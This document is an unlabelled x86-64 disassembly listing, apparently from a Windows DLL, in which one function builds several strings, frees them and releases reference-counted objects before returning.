movups xmmword [rbp + 0x2f0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
cmp qword [rbp - 0x38], 0x10
lea rdx, [rbp - 0x50]
mov r8, qword [rbp - 0x40]
lea rcx, [rbp + 0x2c0]
cmovae rdx, qword [rbp - 0x50]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2c0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2d0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2a0], xmm0
movups xmm1, xmmword [rax + 0x10]
mov r8d, 1
lea rdx, [0x180103f5c]
lea rcx, [rbp + 0x2a0]
movups xmmword [rbp + 0x2b0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
cmp qword [rbp - 0x58], 0x10
lea rdx, [rbp - 0x70]
mov r8, qword [rbp - 0x60]
lea rcx, [rbp + 0x280]
cmovae rdx, qword [rbp - 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x280], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x290], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
mov r8d, 3
lea rdx, [0x180103f58]
lea rcx, [rbp + 0x260]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x260], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x270], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x450], xmm6
movups xmmword [rbp + 0x460], xmm7
cmp rdx, 0x10
jb 0x1800933d6
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800933d1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b43
call fcn.1800c1180
mov rdx, qword [rbp + 0x278]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x180093421
mov rcx, qword [rbp + 0x260]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009341c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b43
call fcn.1800c1180
mov rdx, qword [rbp + 0x298]
mov qword [rbp + 0x270], r15
mov qword [rbp + 0x278], 0xf
mov byte [rbp + 0x260], r15b
cmp rdx, 0x10
jb 0x18009347b
mov rcx, qword [rbp + 0x280]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093476
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b43
call fcn.1800c1180
mov rdx, qword [rbp + 0x2b8]
mov qword [rbp + 0x290], r15
mov qword [rbp + 0x298], 0xf
mov byte [rbp + 0x280], r15b
cmp rdx, 0x10
jb 0x1800934d5
mov rcx, qword [rbp + 0x2a0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800934d0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b43
call fcn.1800c1180
mov rdx, qword [rbp + 0x2d8]
mov qword [rbp + 0x2b0], r15
mov qword [rbp + 0x2b8], 0xf
mov byte [rbp + 0x2a0], r15b
cmp rdx, 0x10
jb 0x18009352f
mov rcx, qword [rbp + 0x2c0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009352a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b43
call fcn.1800c1180
mov rdx, qword [rbp + 0x2f8]
mov qword [rbp + 0x2d0], r15
mov qword [rbp + 0x2d8], 0xf
mov byte [rbp + 0x2c0], r15b
cmp rdx, 0x10
jb 0x180093589
mov rcx, qword [rbp + 0x2e0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093584
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b43
call fcn.1800c1180
mov rdx, qword [rbp + 0x318]
mov qword [rbp + 0x2f0], r15
mov qword [rbp + 0x2f8], 0xf
mov byte [rbp + 0x2e0], r15b
cmp rdx, 0x10
jb 0x1800935e3
mov rcx, qword [rbp + 0x300]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800935de
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b43
call fcn.1800c1180
mov rdx, qword [rbp + 0x338]
mov qword [rbp + 0x310], r15
mov qword [rbp + 0x318], 0xf
mov byte [rbp + 0x300], r15b
cmp rdx, 0x10
jb 0x18009363d
mov rcx, qword [rbp + 0x320]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093638
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b43
call fcn.1800c1180
mov rdx, qword [rbp + 0x368]
mov qword [rbp + 0x330], r15
mov qword [rbp + 0x338], 0xf
mov byte [rbp + 0x320], r15b
cmp rdx, 0x10
jb 0x180093697
mov rcx, qword [rbp + 0x350]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093692
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b43
call fcn.1800c1180
mov rdx, qword [rbp + 0x198]
mov qword [rbp + 0x360], r15
mov qword [rbp + 0x368], 0xf
mov byte [rbp + 0x350], r15b
cmp rdx, 0x10
jb 0x1800936f1
mov rcx, qword [rbp + 0x180]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800936ec
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b43
call fcn.1800c1180
mov rdi, qword [rsp + 0x40]
inc dword [0x18011954c]
mov r8, qword [rbp + 0xe0]
movabs rsi, 0x2aaaaaaaaaaaaaab
mov rcx, qword [rbp + 0xe8]
mov rax, rsi
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x128]
cmovne rax, r8
mov rcx, qword [rax]
lea rax, [rbp + 0x128]
sub rcx, qword [rbp + 0xd0]
test rdx, rdx
cmovne rax, r8
cmp byte [rax + 0x10], r15b
je 0x18009375d
movups xmm0, xmmword [rax]
movups xmmword [rbp + 8], xmm0
jmp 0x180093765
xorps xmm0, xmm0
movdqu xmmword [rbp + 8], xmm0
sub rcx, qword [rbp + 8]
add rcx, qword [rbp + 0x10]
mov rdx, qword [rbp - 0x78]
add rbx, rcx
mov rax, qword [rsp + 0x70]
jmp 0x180092670
call qword [0x1801194e0]
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x1800937bf
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800937ba
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b49
call fcn.1800c1180
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x1800937fa
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800937f5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b49
call fcn.1800c1180
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x180093837
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093832
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b49
call fcn.1800c1180
mov r8, qword [rbp + 0xe0]
test r8, r8
je 0x1800938a8
mov rcx, qword [rbp + 0xf0]
mov rax, rsi
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov rax, r8
lea rdx, [rdx + rdx*2]
shl rdx, 3
cmp rdx, 0x1000
jb 0x18009388e
mov r8, qword [r8 - 8]
add rdx, 0x27
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b49
mov rcx, r8
call fcn.1800c1180
xorps xmm0, xmm0
mov qword [rbp + 0xf0], r15
movdqa xmmword [rbp + 0xe0], xmm0
mov rcx, qword [rbp + 0x50]
test rcx, rcx
je 0x1800938e3
mov eax, r12d
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x1800938e3
mov rbx, qword [rbp + 0x50]
test rbx, rbx
je 0x1800938e3
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], r15
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x1800938c7
mov rcx, qword [rbp + 0x70]
mov qword [rbp + 0x50], r15
test rcx, rcx
je 0x180093909
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x180093909
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rcx, qword [rbp + 0x78]
test rcx, rcx
je 0x180093944
mov eax, r12d
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x180093944
mov rbx, qword [rbp + 0x78]
test rbx, rbx
je 0x180093944
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], r15
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x180093928
mov rcx, qword [rbp + 0x98]
mov qword [rbp + 0x78], r15
test rcx, rcx
je 0x18009396d
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18009396d
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rax, qword [rbp + 0xa0]
test rax, rax
je 0x1800939ad
lock xadd dword [rax + 0x2c], r12d
cmp r12d, 1
jne 0x1800939ad
mov rbx, qword [rbp + 0xa0]
test rbx, rbx
je 0x1800939ad
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], r15
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x180093991
mov rcx, qword [rbp + 0xc0]
mov qword [rbp + 0xa0], r15
test rcx, rcx
je 0x1800939d9
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x1800939d9
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov r15, qword [rbp + 0x510]
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x180093a1c
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093a17
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093afb
call fcn.1800c1180
xor r12d, r12d
movups xmm0, xmmword [rsp + 0x30]
mov rdx, qword [rbp]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [r15], xmm0
movups xmmword [r15 + 0x10], xmm1
cmp rdx, 0x10
jb 0x180093a6d
mov rcx, qword [rbp - 0x18]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093a68
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b01
call fcn.1800c1180
mov rdx, qword [r13 + 0x18]
mov qword [rbp - 8], r12
mov qword [rbp], 0xf
mov byte [rbp - 0x18], 0
cmp rdx, 0x10
jb 0x180093ab4
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x180093aaf
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180093b01
mov rcx, r8
call fcn.1800c1180
mov rcx, r14
mov qword [r13 + 0x10], r12
mov qword [r13 + 0x18], 0xf
mov byte [r13], 0
call fcn.1800b8830
movaps xmm6, xmmword [rsp + 0x5c0]
mov rax, r15
movaps xmm7, xmmword [rsp + 0x5b0]
mov rbx, qword [rsp + 0x618]
add rsp, 0x5d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.180089bd0
int3
call fcn.180089bd0
int3
call fcn.180089bd0
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3